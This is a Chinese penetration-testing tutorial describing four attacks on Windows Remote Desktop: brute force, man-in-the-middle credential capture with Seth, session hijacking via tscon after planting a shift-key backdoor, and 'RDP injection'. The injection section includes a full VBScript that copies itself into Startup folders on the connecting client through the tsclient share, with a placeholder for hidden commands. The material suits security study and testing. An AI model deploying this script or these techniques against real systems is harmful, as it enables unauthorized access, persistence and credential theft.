前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >浅谈针对rdp协议的四种测试方法

浅谈针对rdp协议的四种测试方法

作者头像
信安之路
发布2018-08-08 17:22:40
4.9K0
发布2018-08-08 17:22:40
举报
文章被收录于专栏:信安之路信安之路

本文作者:hl0rey(来自信安之路作者团队)

渗透测试通常情况下是以功能为导向的。一组协议通常能支持、实现一种功能。本文浅谈一下针对 RDP 协议的几种测试方法,也就是针对远程桌面这种功能的利用。本人水平有限,但仍希望对大家能有帮助。

基本介绍

这里讨论的是 windows 下的 rdp(Remote Display Protocol )协议,也就是 windows 的远程桌面。通过提供一个有效的用户账号密码即可登陆到服务端,进行图形界面下的操作。

信息收集

用 msf 中模块来识别 rdp 服务,速度很快。

scanner/rdp/rdp_scanner

msf 模块的 rdp 扫描过程浅析

nmap 没有精确识别 rdp 服务,msf 模块却能又快又好的识别,因吹斯听。稍微看下 rdp 协议数据包结构,然后用 wirehark 抓包分析一下 msf 模块的扫描过程。

rdp 数据包结构资料(只看前三页即可,就能看懂扫描的过程了)

https://wenku.baidu.com/view/f29f410552ea551810a68789.html

打开之后发现 wireshark 并没有识别出 rdp 协议,意料之外。忽略 tcp 三次握手的数据包,找到传送数据的包。

通过查看 rdp 数据包结构的资料,我们可以知道,windows 下的 rdp 数据包是经过 TPKT 协议封装之后的,所以我们在数据包上选择 decode as

找到 tpkt,点 ok

然后就会发现 rdp 协议已经被正确解码了。

然后就很容易就能看出扫描的思路了,常规的扫描的套路。发个定制请求包,服务器给了回应了,就确定服务器运行的是某服务。

其实不让 wireshark 帮忙解码,也能看出来这常规的扫描套路。因为 msf 模块就是直接用正则匹配的数据包内容。瞅一眼 msf 模块的源码,看一下判断是否是 rdp 协议的核心逻辑。

第一个箭头处的正则表达式匹配了返回包的开头几个字节,只要匹配上了第二个箭头处的if成立就输出结果了。

渗透测试方法

凭据爆破
条件限制
  • 目标 RDP 协议端口向你开放
演示

暴力破解服务器远程桌面账户密码,最好做一下前期的信息收集,猜测下目标的用户名,比如通过 smb 协议。如果 smb 协议可以爆破的话,还是爆破 smb 协议吧,因为 rdp 协议比较脆弱,经不起高速的爆破。

hydra 走起。轻轻地爆破,不能太暴力。(hydra 不支持 2008/7 之后系统)

肯定是要对 2008 以后的机器也进行测试的,所以我在 GitHub 上随便找了点工具,发现大体上实现思路是两个,一种是 windows 下 C# 实现的,一种是 linux 下靠 freerdp 实现。但是都不是太好用,还是自己用 python 写一个吧。

所用到的库:

https://github.com/citronneur/rdpy

对于不擅长写代码的我来说挺麻烦的,我还没写出来,本事不够。再说爆破 rdp 应该不是明智之选吧。

RDP中间人攻击

通过任意方式将受害者的流量欺骗至攻击者机器,然后再用相关的工具处理用户登陆远程桌面的流量。

条件限制
  • 能够把受害者机器的流量欺骗至攻击者机器
  • 受害者使用远程桌面
演示

RDP 中间人攻击工具 Seth

https://github.com/SySS-Research/Seth

稍微看看文档,直接运行。

去受害机登陆一个远程主机,然后再回来看结果,红色文字处及是抓到的明文密码,抓完密码就退出脚本,深藏功与名。

再看受害者机器这边,一脸懵逼,浑然不觉。

RDP注入

windows 下有个叫 Startup 的特殊目录,每次用户登陆的时候都会强制运行在之下的程序。当 A 远程登陆到 B 机器时,如果选择将 A 的 C 盘共享到远程主机,那么在此次会话中就出现了一个名为 tsclient 的共享指向主机 A 共享的磁盘。rdp 注入就是通过访问共享的方式把可执行文件放到 A 的 startup 目录下。

条件限制
  • 用户登陆到远程主机
  • 用户将本机的 C 盘分享到远程主机
  • 当前用户在 startup 目录有写权限
演示

网上有 bat 的 poc,但是缺点很明显,运行时会显示 cmd 的黑框,所以我就用 vbs 写了一个不会显示黑框的。代码写的不好,算是抛砖引玉了。想要测试的时候把我做的中文注释都去掉,并且把脚本以 ANSI 编码格式保存然后拿去测试即可。

代码语言:javascript
复制
On Error Resume Next
'脚本暂停五秒后再执行,避免网络延迟对结果有影响
wscript.sleep 1000*5
'定义一堆要用到的变量,创建两个要用到的对象
Dim WshShell,sudir,objFSO,sufile,fn,tsdir,tssubdir,tsusersu,tsdir2,tssubdir2
Set WshShell = CreateObject("wscript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
'把脚本复制到本机的启动目录,只复制到当前用户目录下,先取到目录路径
sudir=WshShell.SpecialFolders("StartUp")
fn=objFSO.GetFile(Wscript.scriptfullname).name
sufile=sudir+"\"+fn
'查看文件是否存在,不存在的话,就复制过去
If Not objFSO.FileExists(sufile) Then
    objFSO.GetFile(Wscript.scriptfullname).copy(sufile)
End If
'查看远程机器的用户目录
Set tsdir=objFSO.GetFolder("\\tsclient\C\Users")
Set tssubdir=tsdir.SubFolders
'遍历目录,把普通用户的目录筛选出来
for each f in tssubdir
    If InStr(f,"All Users")=0 then
        If InStr(f,"Default")=0 then
            If InStr(f,"Default User")=0 then
                If InStr(f,"Public")=0 then
                    tsusersu=f
                End If
            End If 
        End If
    End If
Next
'构造出远程机器上的启动目录并且复制过去
tsusersu=tsusersu&"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"&fn
If Not objFSO.FileExists(tsusersu) Then
    objFSO.GetFile(Wscript.scriptfullname).copy(tsusersu)
End If

'你想执行的其他代码,这里就就纯是个poc了,让他弹个窗
'例如 wscript.CreateObject("wscript.shell").Run "你要执行的命令",vbhide
MsgBox "rdpinject success!"

现在 2008 上运行一下脚本,等待五秒之后会弹个窗(最好一句代码的做作用),看一眼启动路径有脚本,就成功了。

然后我用物理机去,远程登陆我的虚拟机 2008。

再看一眼我的启动目录(我把火绒关了,为了方便看效果,我估计会拦截)。

重启下我的机器(其实注销一下就能看到效果),成功弹窗,脚本被执行了。

RDP 会话劫持

在 system 权限下使用 tscon 连接到任意会话时不需要输入该用户的密码,所以就能在不知道其账户和密码的情况下以已登陆的其他账户的权限进行任意操作。

条件限制
  • 已经获得 system 权限的 shell
演示

先放一个 shift 后门到 2008,再创建几个账户,加到管理员组,用他们登陆上去。然后锁屏。来到登陆界面。五下 shift 激活后门。执行 query user 看看有哪些会话。

连接 test1 试试,执行 tscon 3,屏幕一黑,就链接过去了,也没让输入密码。

总结

  1. 针对 RDP 协议较为通用渗透测试的手法还是挺多的。尤其是在已经进入目标内网之中,或者已经获得服务器管理员权限的 shell 时。
  2. 虽然直接爆破 RDP 可能不是明智之选,但是多个选择也就多条路,希望各位大佬发力,编写支持新版本 RDP 协议的爆破工具,不然也就只能等着 hydra 的作者更新了。
  3. 本文粗浅地介绍了下四种测试方法,加入了部分个人不成熟的想法,欢迎各位看官批评指正。
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-06-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 基本介绍
    • 信息收集
      • msf 模块的 rdp 扫描过程浅析
  • 渗透测试方法
    • 凭据爆破
      • 条件限制
      • 演示
    • RDP中间人攻击
      • 条件限制
      • 演示
    • RDP注入
      • 条件限制
      • 演示
    • RDP 会话劫持
      • 条件限制
      • 演示
  • 总结
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档